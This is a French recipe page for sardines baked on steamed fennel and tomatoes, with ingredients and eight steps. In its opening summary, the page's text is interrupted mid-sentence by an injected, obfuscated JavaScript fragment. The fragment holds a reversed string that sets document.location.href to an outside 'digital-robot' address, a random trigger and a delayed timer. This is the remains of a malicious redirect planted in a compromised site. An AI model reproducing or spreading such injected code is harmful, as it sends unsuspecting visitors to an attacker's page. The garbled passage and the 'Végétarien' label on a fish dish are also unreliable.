Sardines aux fenouils
2018-01-01- Thématique : Végétarien
- Niveau : Difficile
Lavez, séchez et coupez en tranches les fenouils. Déposez les dans le panier cuit vapeur pendant 15 minutes. Lavez, séchez, coupez en deux les tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tomates. Pressez les pour les vider de leur eau et enlevez les petites graines.
Ingrédients
- Pour 4 personnes
- 2 kg de sardines
- 4 fenouils
- 1 kg de tomates
- 2 oignons
- 1 gousse d'ail
- 6 cuillères à soupe d'huile d'olive
- 4 cuillères à soupe de chapelure
- 4 brins de persil hachés
- Sel poivre du moulin
Préparation de la recette
Etape 1
Lavez, séchez et coupez en tranches les fenouils. Déposez les dans le panier cuit vapeur pendant 15 minutes.
Etape 2
Lavez, séchez, coupez en deux les tomates. Pressez les pour les vider de leur eau et enlevez les petites graines.
Etape 3
Détaillez les en petits dés. Pelez, émincez les oignons. Dans une poêle avec 2 cuillerées à soupe d'huile d'olive, sur feu moyen, faire fondre les oignons tout en remuant pendant 10 minutes.
Etape 4
A ce moment incorporez la moitié des dés de tomates et laissez mijoter pendant 10 minutes. Salez, poivrez. A ce moment versez les légumes dans un plat à gratin.
Etape 5
Écaillez, videz, lavez les sardines. Enlevez les têtes. Déposez les sur les légumes, salez, poivrez.
Etape 6
Répartissez le reste de dés de tomates, la chapelure, arrosez d'huile d'olive. Préchauffez le four à 210° C thermostat 7.
Etape 7
Enfournez et faites cuire pendant 25 à 30 minutes. Vérifiez la cuisson.
Etape 8
Éteindre le feu et laissez refroidir. Placez au réfrigérateur jusqu'au lendemain. Parsemez de persil haché et dégustez frais.
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